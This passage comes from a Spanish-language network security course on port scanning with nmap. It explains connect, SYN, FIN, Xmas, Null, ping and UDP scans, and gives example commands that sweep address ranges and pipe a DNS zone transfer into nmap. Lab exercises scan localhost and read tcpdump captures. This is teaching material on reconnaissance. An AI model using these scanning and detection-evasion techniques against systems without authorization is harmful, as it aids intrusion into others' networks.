proporcionada por nuestro sistema
operativo se usa para establecer una
conexin con todos los puertos
interesantes de la maquina.
 Si el puerto esta a la escucha, connect()
tendr xito, de otro modo, el puerto
resulta inalcanzable. Una ventaja
importante de esta tcnica es que no
resulta necesario tener privilegios
especiales.
Figura 2-3: Exploracion TCP Connect
Es la forma ms bsica de escaneo TCP. La llamada de sistema connect() proporcionada por nuestro sistema
operativo se usa para establecer una conexin con todos los puertos interesantes de la maquina. Si el puerto
esta a la escucha, connect() tendr xito, de otro modo, el puerto resulta inalcanzable. Una ventaja
importante de esta tcnica es que no resulta necesario tener privilegios especiales. Cualquier usuario en la
mayora de los sistemas UNIX tiene permiso para usar esta llamada. Este tipo de escaneo resulta fcilmente
detectable dado que los registros del servidor de destino muestran un montn de conexiones y mensajes de
error para aquellos servicios que accept() (aceptan) la conexin para luego cerrarla inmediatamente.

92

Parte II, Captulo 2 Exploracin de puertos de red

3.2

-sS Escaneo TCP SYN:

-sS Escaneo TCP SYN:




A menudo se denomina a esta tcnica escaneo "half


open" (medio abierto), porque no se abre una
conexin TCP completa.
Se enva un paquete SYN, como si se fuese a abrir
una conexin real y se espera que llegue una
respuesta. Un SYN|ACK indica que el puerto esta a la
escucha.

Figura 2-4: Exploracin TCP SYN


A menudo se denomina a esta tcnica escaneo "half open" (medio abierto), porque no se abre una conexin
TCP completa. Se enva un paquete SYN, como si se fuese a abrir una conexin real y se espera que llegue
una respuesta. Un SYN|ACK indica que el puerto esta a la escucha. Un RST es indicativo de que el puerto no
esta a la escucha. Si se recibe un SYN|ACK, se enva un RST inmediatamente para cortar la conexin (en
realidad es el kernel de nuestro sistema operativo el que hace esto por nosotros). La ventaja principal de
esta tcnica de escaneo es que ser registrada por muchos menos servidores que la anterior. Por desgracia
se necesitan privilegios de root para construir estos paquetes SYN modificados.

93

Parte II, Captulo 2 Exploracin de puertos de red

3.3

-sF -sX sN Modos Stealth FIN, Xmas Tree o Nul scan:

-sF -sX sN Modos Stealth FIN, Xmas Tree o Nul scan:

A veces ni siquiera el escaneo SYN resulta lo


suficientemente clandestino. Algunas firewalls y filtros
de paquetes vigilan el envi de paquetes SYN a
puertos restringidos, y programas disponibles como
Synlogger y Courtney detectan este tipo de escaneo.
Estos tipos de escaneo avanzado, sin embargo,
pueden cruzar estas barreras sin ser detectados. La
idea es que se requiere que los puertos cerrados
respondan a nuestro paquete de prueba con un RST,
mientras que los puertos abiertos deben ignorar los
paquetes en cuestin.

Figura 2-5: Exploraciones de puertos menos conocidas


No siempre el escaneo de tipo SYN resulta lo suficientemente clandestino. Algunas firewalls y filtros de
paquetes vigilan el envi de paquetes SYN a puertos restringidos, y programas disponibles como Synlogger y
Courtney detectan este tipo de escaneo.
Estos tipos de escaneo avanzado, sin embargo, pueden cruzar estas barreras sin ser detectados. La idea es
que se requiere que los puertos cerrados respondan a nuestro paquete de prueba con un RST, mientras que
los puertos abiertos deben ignorar los paquetes en cuestin.
El escaneo de tipo FIN utiliza un paquete FIN vaci (sorpresa) como prueba, mientras que el escaneo Xmas
tree activa los flags FIN, URG y PUSH. El escaneo NULL desactiva todas las flags. Por desgracia Microsoft
decidi ignorar el estndar completamente y hacer las cosas a su manera.
Debido a esto, este tipo de escaneo no funcionara con sistemas basados en Windows95/NT. El lado positivo
es que esta es una buena manera de distinguir entre las dos plataformas. Si el escaneo encuentra puertos
cerrados, probablemente se trate de una maquina UNIX, mientras que todos los puertos abiertos es
indicativo de Windows. Excepcionalmente, Cisco, BSDI, HP/UX, MVS, e IRIX tambin envan RST en vez de
desechar el paquete.

94

Parte II, Captulo 2 Exploracin de puertos de red

3.4

-sP Escaneo ping:

A veces nicamente se necesita saber que servidores en una red se encuentran activos. Nmap puede hacer
esto enviando peticiones de respuesta ICMP a cada direccin IP de la red que se especifica. Aquellos
servidores que responden se encuentran activos. Desafortunadamente, algunos sitios web como
microsoft.com bloquean este tipo de paquetes. Nmap puede enviar tambin un paquete TCP ack al puerto 80
(por defecto), si se obtiene por respuesta un RST, esa maquina esta activa. Una tercera tcnica implica el
envi de un paquete SYN y la espera de de un RST o un SYN/ACK. Para usuarios no root se usa un metodo
connect(). Por defecto (para usuarios no root), nmap usa las tcnicas ICMP y ACK en paralelo. Se puede
cambiar la opcin -p descrita mas adelante. Ntese que el envi de ping se realiza por defecto de todas
maneras y que solamente se escanean aquellos servidores de los que se obtiene respuesta. Use esta opcin
solamente en el caso de que desee un ping sweep (barrido ping) sin hacer ningn tipo de escaneo de
puertos.

3.5

-sU Escaneo Udp:

Este mtodo se usa para saber que puertos UDP (Protocolo de Datagrama de Usuario, RFC 768) estn
abiertos en un servidor. La tcnica consiste en enviar paquetes UCP de 0 bytes a cada puerto de la maquina
objetivo. Si se recibe un mensaje ICMP de puerto no alcanzable, entonces el puerto esta cerrado. De lo
contrario, asumimos que esta abierto. Alguna gente piensa que el escaneo UDP no tiene sentido. Se
recuerda el reciente agujero en Solaris rpcbind. Puede encontrarse a rpcbind escondido en un puerto UDP no
documentado en algn lugar por encima del puerto 32770.
Por lo tanto, no importa que el puerto 111 este bloqueado por el firewall. Pero, quien puede decir en cual de
los mas de 30000 puertos altos se encuentra a la escucha el programa? Con un escner UDP se podra!
Existe el programa de puerta trasera cDc Back Orifice que se oculta en un puerto UDP configurable en las
maquinas Windows, por no mencionar los muchos servicios frecuentemente vulnerables que usan UDP como
snmp, tftp, NFS, etc.
Por desgracia, el escaneo UDP resulta a veces tremendamente lento debido a que la mayora de los
servidores implementan una sugerencia recogida en el RFC 1812 acerca de la limitacin de la frecuencia de
mensajes de error ICMP.
Por ejemplo, el kernel de Linux (ipv4/icmp.h) limita la generacin de mensajes de destino inalcanzable a 80
mensajes cada cuatro segundos, con una penalizacin de 1/4 de segundo si se rebasa dicha cantidad. Solaris
tiene unos limites mucho mas estrictos (mas o menos 2 mensajes por segundo) y por lo tanto lleva mas
tiempo hacerle un escaneo.
NMAP detecta este lmite de frecuencia y se ralentiza en consecuencia, en vez de desbordar la red con
paquetes intiles que la maquina destino ignorara.
Como de costumbre, Microsoft ignoro esta sugerencia del RFC y no parece que haya previsto ningn tipo de
limite de frecuencia para las maquinas Windows. Debido a esto resulta posible escanear los 65000 puertos
de una maquina Windows muy rpidamente.

3.6

Opciones Generales

No se requiere ninguna pero algunas de ellas pueden resultar de gran utilidad.


-p0

No intenta hacer ping a un servidor antes de escanearlo. Esto permite el escaneo de redes que no
permiten que pasen peticiones (o respuestas) ICMP a travs de su firewall, microsoft.com es un
ejemplo de una red de este tipo y por lo tanto, debera usarse siempre -p0 o -PT80 al escanear
microsoft.com.

-PT

Usa el ping TCP para determinar que servidores estn activos. En vez de enviar paquetes de
peticin de ecos ICMP y esperar una respuesta, se lanzan paquetes TCP ACK a travs de la red de
destino (o a una sola maquina) y luego se espera a que lleguen las respuestas. Los servidores
activos responden con un RST. Esta opcin mantiene la eficiencia de explorar nicamente aquellos
servidores que se encuentran activos y la combina con la posibilidad de escanear redes/servidores
que bloquean los paquetes ping. Para los usuarios no root se usa connect(). Para establecer el
puerto de destino de los paquetes de prueba use -PT <numero de puerto). El puerto por defecto es
el 80, dado que normalmente este puerto no es un puerto filtrado.

95

Parte II, Captulo 2 Exploracin de puertos de red

-PS

Esta opcin usa paquetes SYN (peticin de conexin) en vez de los paquetes ACK para usuarios
root. Los servidores activos deberan responder con un RST (o, en raras ocasiones, un SYN|ACK).

-PI

Esta opcin usa un paquete ping (peticin de eco ICMP) verdadero. Encuentra servidores que estn
activos y tambin busca direcciones de broadcast dirigidas a subredes en una red. Se trata de
direcciones IP alcanzables desde el exterior que envan los paquetes IP entrantes a una subred de
servidores. Estas direcciones deberan eliminarse, si se encontrase alguna, dado que suponen un
riesgo elevado ante numerosos ataques de denegacin de servicio (el mas corriente es Smurf).

-PB

Este es el tipo de ping por defecto. Usa los barridos ACK ( -PT ) e ICMP ( -PI ) en paralelo. De este
modo se pueden alcanzar firewalls que filtren uno de los dos (pero no ambos).

-O

Esta opcin activa la deteccin remota del sistema operativo por medio de la huella TCP/IP. En otras
palabras, usa un puado de tcnicas para detectar sutilezas en la pila de red subyacente del
sistema operativo de los servidores que se escanean. Usa esta informacin para crear una 'huella'
que luego compara con una base de datos de huellas de sistemas operativos conocidas (el archivo
nmap-os-fingerprints) para decidir que tipo de sistema se esta escaneando. Si encuentra una
maquina diagnosticada errneamente que tenga por lo menos un puerto abierto, me seria de gran
utilidad que me enviase los detalles en un email (es decir, se encontr la versin xxx de tal cosa y
se detecto este u otro sistema operativo..). Si encuentra una maquina con al menos un puerto
abierto de la cual nmap le informe "sistema operativo desconocido", le estara agradecido si me
enviase la direccin IP junto con el nombre del sistema operativo y el numero de su versin. Si no
me puede enviar la direccin IP, una alternativa seria ejecutar nmap con la opcin -d y enviarme las
tres huellas que obtendra como resultado junto con el nombre del sistema operativo y el numero
de versin. Al hacer esto, esta contribuyendo a aumentar el numero importante de sistemas
operativos conocidos por nmap y de este modo el programa resultara mas exacto para todo el
mundo.

-v

Modo de informacin ampliada. Esta opcin resulta muy recomendable y proporciona gran cantidad
de informacin sobre lo que esta sucediendo. Puede usarla dos veces para un efecto mayor.

-p <rango de puertos>
Esta opcin determina los puertos que se quieren especificar. Por ejemplo, '-p 23' probara solo el
puerto 23 del servidor(es) objetivo. '-p 20-30, 139, 60000-' escanea los puertos del 20 al 30, el
puerto 139 y todos los puertos por encima de 60000. Por defecto se escanean todos los puertos
entre el 1 y el 1024 as como los que figuran en el archivo /etc/services.

3.7

Especificacin de servidores

Cualquier cosa que no es una opcin (o el argumento de una opcin) en nmap se trata como una
especificacin de servidor de destino. El caso mas simple consiste en especificar servidores aislados o
direcciones IP en la lnea de comandos. Si pretende escanear una subred de direcciones IP, entonces se
puede aadir '/mask' a la direccion IP o al nombre del servidor. mask debe estar entre 0 (escanea toda
Internet) y 32 (escanea nicamente el servidor especificado). Use /24 para escanear una direccin de clase
'C' y /16 para la clase 'B'. Nmap dispone tambin de una notacin mucho ms potente que permite la
especificacin de direcciones IP usando listas/rangos para cada elemento. De este modo, se puede escanear
la red de clase 'B' completa 128.210.*.* especificando '128.210.*.*' o '128.210.0-255.0-255' o incluso
notacin de mascara: '128.210.0.0/16'. Todas ellas son equivalentes. Si se usan asteriscos ('*'), ha de
tenerse en cuenta que la mayora de los shells requieren que se salga de ellos con caracteres / o que se les
proteja con comillas.
Otra posibilidad interesante consiste en dividir Internet en el otro sentido. En vez de escanear todos los
servidores en una clase 'B', se puede escanear '*.*.5.6-7' para escanear todas las direcciones IP terminadas
en .5.6 o .5.7 Escoja sus propios nmeros.
Para ms informacin sobre la especificacin de servidores a escanear, vase el comando:
# man nmap.

96

Parte II, Captulo 2 Exploracin de puertos de red

3.8

Ejemplos ms comunes

Obtenga primero el permiso para hacerlo o hgalo bajo su propia responsabilidad.


nmap -v objetivo.ejemplo.com
Esta opcin escanea todos los puertos TCP reservados en la maquina objetivo.ejemplo.com. La -v
implica la activacin del modo de informacin ampliada.
nmap -sS -O objetivo.ejemplo.com/24
Lanza un escaneo SYN oculto contra cada una de las maquinas activas de las 255 maquinas de la
classe 'C' donde se aloja objetivo.ejemplo.com. Tambin trata de determinar el sistema operativo
usado en cada una de las maquinas activas. Este escaneo requiere privilegios de root a causa del
escaneo SYN y la deteccin del sistema operativo.
nmap -sX -p 22,53,110,143 128.210.*.1-127
Enva un escaneo Xmas tree a la primera mitad de cada una de las 255 posibles subredes de 8 bits
en el espacio de direcciones clase 'B' 128.210 . Se trata de comprobar si los sistemas ejecutan sshd,
DNS, pop3d, imapd o el puerto 4564. Ntese que el escaneo Xmas no funciona contra servidores
ejecutando cualquier sistema operativo de Microsoft debido a una pila TCP deficiente. Lo mismo se
aplica a los sistemas CISCO, IRIX, HP/UX, y BSDI.
nmap -v -p 80 '*.*.2.3-5'
En vez de centrarse en un rango especfico de direcciones IP, resulta a veces interesante dividir
Internet en porciones y escanear una pequea muestra de cada porcin. Este comando encuentra
todos los servidores web en maquinas cuyas direcciones IP terminen en .2.3, .2.4, o .2.5. Si usted
es root podra aadir tambin -sS.
Tambin encontrara maquinas mucho mas interesantes si empieza en 127. As que es posible que
desee usar '127-222' en vez de el primer asterisco dado que esa seccin tiene una densidad mucho
mayor de maquinas interesantes (IMHO). host -l compania.com | cut '-d ' -f 4 | ./nmap -v - i - Hace
una transferencia de DNS de zona para descubrir los servidores en compania.com y luego pasar las
direcciones IP a nmap. Los comandos arriba indicados son para un sistema Linux. Es posible que se
necesiten comandos/opciones diferentes para otros sistemas operativos.

97

Parte II, Captulo 2 Exploracin de puertos de red

4.0

Laboratorio: Exploracin de puertos y anlisis de trfico

4.1

4.2

Objetivos:
Exploracin de puertos con nmap
Capturar y analizar el trfico que circula por un segmento ethernet
Prerrequisitos:

Se recomienda usar Linux knoppix-std (www.knoppix-std.org) o el Linux Backtrack (http://www.remoteexploit.org) debido al muy interesante conjunto de herramientas de seguridad que ya vienen agrupadas en
estas versiones de Linux.

4.3

Exploracin de puertos mediante nmap

4.3.1 Utilizando nmap realizar una exploracin de los puertos TCP de nuestra maquina, indicar el comando,
mostrar y comentar el resultado de la exploracin.

# nmap 127.0.0.1

Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-27 17:27 COT


All 1663 scanned ports on uoc.globalteksecurity.com (127.0.0.1) are: closed
Nmap finished: 1 IP address (1 host up) scanned in 0.437 seconds

Tambin podemos ejecutar el comando con localhost y v para que nos de un poco ms de detalles:
# nmap v localhost
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-27 17:27 COT
Initiating SYN Stealth Scan against uoc.globalteksecurity.com (127.0.0.1) [1663 ports] at 17:34
The SYN Stealth Scan took 0.29s to scan 1663 total ports.
Host uoc.globalteksecurity.com (127.0.0.1) appears to be up good.
All 1663 scanned ports on uoc.globalteksecurity.com (127.0.0.1) are: closed

Nmap finished: 1 IP address (1 host up) scanned in 0.437 seconds


Raw packets sent: 1665 (66.6 KB) | Rcvd: 3328 (133KB)
La funcin de nmap es explorar de forma silenciosa los puertos de la maquina que se le solicite,
visualizando los puertos que se encuentran abiertos, para este caso no esta ofreciendo ningn servicio de
red ya que no tiene ningn puerto abierto. En resumen el comando nmap lanzo paquetes de inicio de
conexin SYN para cada uno de los puertos y recibi solamente paquetes de respuesta RST-ACK, con lo cual
concluimos que no tiene puertos disponibles para realizar conexiones.

4.3.2 Inicie un servidor web en su maquina y repita el ejercicio anterior. Comente las (previsibles)
diferencias entre los dos resultados.

En la versin de Linux Redhat o SUSE se puede utilizar:

# service httpd start

98

Parte II, Captulo 2 Exploracin de puertos de red

Se puede verificar si el servicio esta arriba en RedHat o SUSE de la siguiente forma:


# service httpd status
Se esta ejecutando httpd ( pid 2050 2049 2048 2047 2046 2045 2044 2043 2041)

Pero en backtrack el servicio podr subirse con el comando:

# /usr/sbin/apache2ctl start

Tambin podemos probar el servicio, si se hace un telnet localhost 80 y aparece lo siguiente indicando que
apache esta arriba:
# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

Ahora digite obtenga la pagina principal:

GET / HTTP/1.0 y presiones dos veces la tecla enter.

Se vera la pagina web que el servidor le enva al cliente:

HTTP/1.1 200 OK
Date: Tue, 28 Mar 2006 00: 24: 11 GMT
Server: Apache/2.0.54 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 288
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<HTML><HEAD>
<TITLE></TITLE>
</HEAD><BODY>

<H1></H1>
<P></P>
<address>Apache/2.0.54 (Fedora) server at uoc.globalteksecurity.com Port 80</address>
</BODY></HTML>
Connection closed by foreign host.

99

Parte II, Captulo 2 Exploracin de puertos de red

# nmap localhost
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-27 20:18 COT
Interesting ports on uoc.globalteksecurity.com (127.0.0.1):
(The 1661 ports scanned but not shown below are in state: closed)
PORT
80/tcp
443/tcp

STATE

SERVICE

open
open

http
https

Nmap finished: 1 IP address (1 host up) scanned in 0.809 seconds

Cuando se vuelve a ejecutar el comando nmap, este realiza la exploracin silenciosa de los puertos y nos
muestra que al iniciar el servicio de apache se abrieron los puertos 80 y 443, en este caso nmap manda un
paquete SYN al puerto 80 y 443 y le mandan como respuesta un paquete SYN, ACK, rpidamente nmap
manda el paquete RST-ACK para no realizar la conexin y as no ser detectado. En el caso de esta prueba los
nicos puertos que estn ofreciendo servicio son los puertos orientados a conexin 80 y 443,
correspondientes a servicio web y webseguro. Los puertos restantes siguen cerrados.

4.3.3 Inicie algn otro servicio TCP y repita la exploracin.

Para subir el servicio de SSH en Redhat o SUSE.


# service sshd start
Para subir el servicio SSH en backtrack:

# /etc/init.d/ssh start

Se verifica que el servicio quedo habilitado con el siguiente comando:


# service sshd status
Tambin se puede probar realizando una peticin de conexin al localhost de la siguiente forma:
# ssh localhost
root@localhosts password: ******
Last login: Mon Mar 27 19:54:26 2006
sshd (pam_unix) [2431]: session opened for user root by root (uid=0)
[root@uoc ~]#

100

Parte II, Captulo 2 Exploracin de puertos de red

# nmap localhost
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-28 07:39 COT
Interesting ports on uoc.globalteksecurity.com (127.0.0.1):
(The 1660 ports scanned but not shown below are in state: closed)
PORT

STATE

SERVICE

22/tcp

open

ssh

80/tcp

open

http

443/tcp

open

https

Nmap finished: 1 IP address (1 host up) scanned in 0.659 seconds

Cuando se vuelve a ejecutar el comando nmap, este realiza una exploracin de puertos silenciosa y nos
muestra que ahora se encuentran abiertos los puertos 22, 80 y 443, nmap ha enviado paquetes SYN a los
puertos 22, 80 y 443 y recibe de vuelta paquetes SYN-ACK, luego nmap enva paquetes RST-ACK para no
establecer la conexin y as no ser detectado.

Conclusin: Se puede concluir que tenemos puertos abiertos y estn ofreciendo servicios, son los puertos de
conexin remota segura (ssh) por el puerto 22, el servicio web por el puerto 80 y el servicio de webseguro
por el puerto 443. Los dems puertos estn cerrados y por consiguiente no se puede acceder a otros
servicios.

101

Parte II, Captulo 2 Exploracin de puertos de red

5.0

Laboratorio: Diferentes tcnicas de exploracin ms usadas

5.1

5.2

Objetivos:
Exploracin de puertos con nmap
Evaluacin de diferentes tcnicas de nmap
Capturar y analizar el trfico que circula por un segmento ethernet
Prerrequisitos:

Se recomienda usar Linux knoppix-std (www.knoppix-std.org) o el Linux Backtrack (http://www.remoteexploit.org) debido al muy interesante conjunto de herramientas de seguridad que ya vienen agrupadas en
estas versiones de Linux.
5.3

Distintas tcnicas para la exploracin TCP

Iniciar un sniffer (por ejemplo, TCPdump, Snort o Ethereal) para que capture los paquetes TCP que circulan
a travs de la interface loopback de la mquina local. A continuacin, haga la exploracin de un puerto
(slo uno) TCP donde tenga un servicio funcionando y la exploracin de otro puerto donde sepa que no hay
ningn servicio funcionando, mediante las siguientes tcnicas de exploracin.
1)
2)
3)
4)
5)

TCP
TCP
TCP
TCP
TCP

connect scan
SYN scan
FIN scan
Xmas Tree Scan
Null Scan

Se abre una consola de comandos y se deja en escucha el Sniffer TCPdump:


#tcpdump -i lo l

La opcion i indica La interface de red, lo indica la interface de red loopback que siempre apunta a La
direccion 127.0.0.1, la opcion l indica listen o estar em modo escucha para todo paquete que pase por la
interface de red.
Ahora en otra consola de comandos, pasamos a realizar las pruebas con la primera tcnica de exploracin:

5.3.1 TCP Connect Scan


Alternativa I: Con el puerto 80 que esta abierto
# nmap -sT -P0 -v -p 80 127.0.0.1
Parmetros:
-sT

Para usar la tcnica TCP Connect Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 80

Hace escaneo nicamente al puerto 80

127.0.0.1

la direccin IP que vamos a explorar

Resultado de la captura:
# nmap -sT -P0 -v -p 80 127.0.0.1

102

Parte II, Captulo 2 Exploracin de puertos de red

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-29 15:34 EST

Initiating Connect() Scan against knoppix (127.0.0.1) [1 port] at 15:34


Discovered open port 80/tcp on 127.0.0.1
The Connect() Scan took 0.05s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT
80/tcp

STATE

SERVICE

open

http

Nmap run completed -- 1 IP address (1 host up) scanned in 0.175 seconds

Resultado del comando tcpdump -i lo


#tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo,
link-type EN10MB (Ethernet), capture size 96 bytes

16:02:03.067972
IP
Knoppix.56449
>
Uoc.globalteksecurity.com.http:
S2616774457:2616774457(0)
win32767
<mss
16396,sackOK,timestamp
6518228
0,nop,wscale 2>
En la primera lnea se muestra el trafico desde el Puerto 56449 del cliente hacia el Puerto 80 del servidor, la
letra S indica el paquete SYN donde el cliente inicia la sesin.
16:02:03.203523
IP
Uoc.globalteksecurity.com.http
>
Knoppix.56449:
S
2604319142:2604319142(0) ack2616774458 win 32767 <mss 16396,sackOK,timestamp
6518229 6518228,nop,wscale 2>
La lnea anterior muestra trafico desde el Puerto 80 del servidor hacia el Puerto 56449 del cliente, las letras
ACK indican que el servidor recibi el paquete que el cliente le envio.

16:02:03.082305 IP Knoppix.56449 > Uoc.globalteksecurity.com.http: . ack 1 win 8192


<nop,nop,timestamp 6518244 6518229>
La lnea anterior muestra trafico desde el Puerto 56449 del cliente hacia el puerto 80 del servidor, las letras
ACK indican que el cliente ha completado el protocolo de tres fases para iniciar una sesin TCP.
16:02:03.094478 IP Knoppix.56449 > Uoc.globalteksecurity.com.http: R 1:1(0) ack 1 win
8192 nop,nop,timestamp 6518256 6518229>
La lnea anterior muestra trfico desde el puerto 56449 del cliente hacia el puerto 80 del servidor, la letra R
y el ACK indican que el cliente ha terminado la sesin.

Conclusin del Resultado nmap:

Para la tcnica de exploracin TCP connect scan nmap esta trata de establecer una conexin TCP
completa, implementa el protocolo de tres fases para crear una sesin verdadera. Si dicha sesin se
completa nmap pasa a anotar el puerto como abierto. Para el caso nuestro el puerto 80 aparece
como abierto.

103

Parte II, Captulo 2 Exploracin de puertos de red

Por Ultimo nmap manda un paquete de tipo RESET y ACK para que el servidor deshaga la pila de
conexiones para la conexin en curso y as evitar una denegacin de servicio en la maquina. La
maquina dejara la conexin como pendiente de procesar si no recibe un Reset + ACK del cliente.

Alternativa II: Con un puerto que este cerrado como el puerto 25


# nmap -sT -P0 -v -p 25 127.0.0.1

Parmetros:
-sT

Para usar la tecnica TCP Connect Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 25 Hace escaneo nicamente al puerto 25


127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sT -P0 -v -p 25 127.0.0.1


# nmap -sT -P0 -v -p 25 127.0.0.1
Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-29 16:33 EST
Initiating Connect() Scan against Knoppix (127.0.0.1) [1 port] at 16:33
The Connect() Scan took 0.07s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT STATE SERVICE
25/tcp closed
smtp
Nmap run completed -- 1 IP address (1 host up) scanned in 0.165 seconds
Resultado del comando tcpdump -i lo
# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes

16:33:15.296667 IP Knoppix.49637 > Knoppix.smtp: S 289710248:289710248(0) win 32767 <mss


16396,sackOK,timestamp 8390742 0,nop,wscale 2>
La lnea anterior muestra trfico desde el puerto 49637 del cliente hacia el puerto 25 del servidor, la letra S
indica el paquete SYN donde el cliente trata de iniciar la sesin.

16:33:15.301687 IP Knoppix.smtp > Knoppix.49637: R 0:0(0) ack 289710249 win 0


La lnea anterior muestra trafico desde el puerto 25 del servidor hacia el puerto 49637 del cliente, la letra R
y las letras ACK indican que el servidor indica que el puerto esta cerrado.
Conclusin del Resultado nmap:
En este caso la tcnica TCP connect scan, nmap trata de establecer una conexin TCP completa, pero el
sistema operativo de inmediato le responde con un paquete de tipo R (RESET) y ACK para indicarle que el

104

Parte II, Captulo 2 Exploracin de puertos de red

puerto esta cerrado, es decir no existe un servicio para ese puerto en el servidor. Entonces nmap marcara el
puerto como cerrado. Para nuestro caso el puerto 25 aparece como cerrado.

5.3.2

TCP SYN Scan

Alternativa I: Con un puerto abierto como 443


# nmap -sS -P0 -v -p 443 127.0.0.1
Parmetros:
-sS

Para usar la tcnica TCP SYN Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 443

Hace escaneo nicamente al puerto 443

127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sS -P0 -v -p 443 127.0.0.1

# nmap -sS -P0 -v -p 443 127.0.0.1


Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-29 17:01 EST
Initiating SYN Stealth Scan against Knoppix (127.0.0.1) [1 port] at 17:01
Discovered open port 443/tcp on 127.0.0.1
The SYN Stealth Scan took 0.06s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT STATE SERVICE
443/tcp open
https
Nmap run completed -- 1 IP address (1 host up) scanned in 0.100 seconds

Resultado del comando tcpdump -i lo


# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB
(Ethernet), capture size 96 bytes
17:02:31.229930 IP Knoppix.58039 > Knoppix.https: S 3738099381:3738099381(0) win 4096
La lnea anterior muestra trfico desde el puerto 58039 del cliente hacia el puerto 443 del servidor, la letra S
indica el paquete SYN que enva nmap al servidor para probar el puerto.
17:02:31.234775 IP Knoppix.https >
3738099382 win 32767 <mss 16396>

Knoppix.58039:

2142122049:2142122049(0)

ack

La lnea anterior muestra trfico desde el puerto 443 del servidor web hacia el puerto 58039 del cliente
nmap, las letras S (SYN) y ACK indican que el servidor tiene el puerto abierto
17:02:31.234857 IP Knoppix.58039 > Knoppix.https: R 3738099382:3738099382(0) win 0
La lnea anterior muestra trfico desde el puerto 58039 del cliente nmap hacia el puerto 443 del servidor, la
letra R o RESET indican que el cliente cierra la comunicacin para que el servidor no registre la exploracin
como una sesin verdadera.

105

Parte II, Captulo 2 Exploracin de puertos de red

Conclusin del Resultado nmap:

En la tcnica TCP SYN no se establece una conexin TCP completa, es decir no se implementa el protocolo
de tres fases para crear una sesin verdadera. Nmap nicamente enva al servidor un paquete de tipo SYN,
si el servidor le responde a nmap con un SYN + ACK entonces el puerto ser marcado por nmap como
abierto. En este caso el puerto 443 se marca como abierto. Pero si en cambio recibe un paquete de tipo
RESET + ACK significa que no existe ningn servicio que escuche por el puerto que se eligi explorar. En
este ejemplo el puerto esta abierto.

Alternativa II: Con un Puerto cerrado como el 110:


# nmap -sS -P0 -v -p 110 127.0.0.1
Parmetros:
-sS

Para usar la tcnica TCP SYN Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 110

Hace escaneo nicamente al puerto 110

127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sS -P0 -v -p 110 127.0.0.1

# nmap -sS -P0 -v -p 110 127.0.0.1


Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-29 17:15 EST
Initiating SYN Stealth Scan against Knoppix (127.0.0.1) [1 port] at 17:15
The SYN Stealth Scan took 0.07s to scan 1 total ports.
Host Knoppix (127.0.0.1) appears to be up ... good.
Interesting ports on Knoppix (127.0.0.1):
PORT STATE SERVICE
110/tcp closed
pop3
Nmap run completed -- 1 IP address (1 host up) scanned in 0.172 seconds
Resultado del comando tcpdump -i lo
# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes
17:15:12.378887 IP Knoppix.56231 > Knoppix.pop3: S 2878414429:2878414429(0) win 4096
La lnea anterior muestra trfico desde el puerto 56231 del cliente nmap hacia el puerto 110 del servidor, la
letra S indica el paquete SYN que enva nmap al servidor para probar el puerto.
17:15:12.383806 IP Knoppix.pop3 > Knoppix.56231: R 0:0(0) ack 2878414430 win 0
La lnea anterior muestra trafico desde el puerto 110 del servidor hacia el puerto 56231 del cliente, la letra
R o RESET + ACK indican que el servidor cierra la comunicacin indicando que el servidor no tiene el servicio
habilitado sobre ese puerto.

Conclusin del Resultado nmap:

106

Parte II, Captulo 2 Exploracin de puertos de red

Esta tcnica TCP SYN nmap no realiza una conexin TCP completa, o sea no implementa el protocolo de
tres fases para crear una sesin verdadera. Nmap solo manda al servidor un paquete de tipo SYN, si el
servidor le responde a nmap con un SYN + ACK entonces el puerto es marcado por como abierto. Si en
cambio recibe un paquete de tipo RESET + ACK significa que no existe ningn servicio que escuche por el
puerto explorado. En nuestro caso el puerto 110 esta marcado como cerrado.
5.3.3

TCP FIN Scan

Alternativa I: Con un puerto abierto en este caso utilizaremos el 22


# nmap -sF -P0 -v -p 22 127.0.0.1
Parmetros:
-sF

Para usar la tcnica TCP FIN Scan

-P0

Para evitar que nmap genere mensajes previos intentando determinar si la


maquina se halla activa con el comando ping

-v

Verbosidad del comando

-p 22

Hace escaneo nicamente al puerto 22

127.0.0.1

La direccin IP que vamos a explorar

Resultado del comando nmap -sF -P0 -v -p 22 127.0.0.1

# nmap -sF -P0 -v -p 22 127.0.0.1


Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2006-03-30 02:24 EST
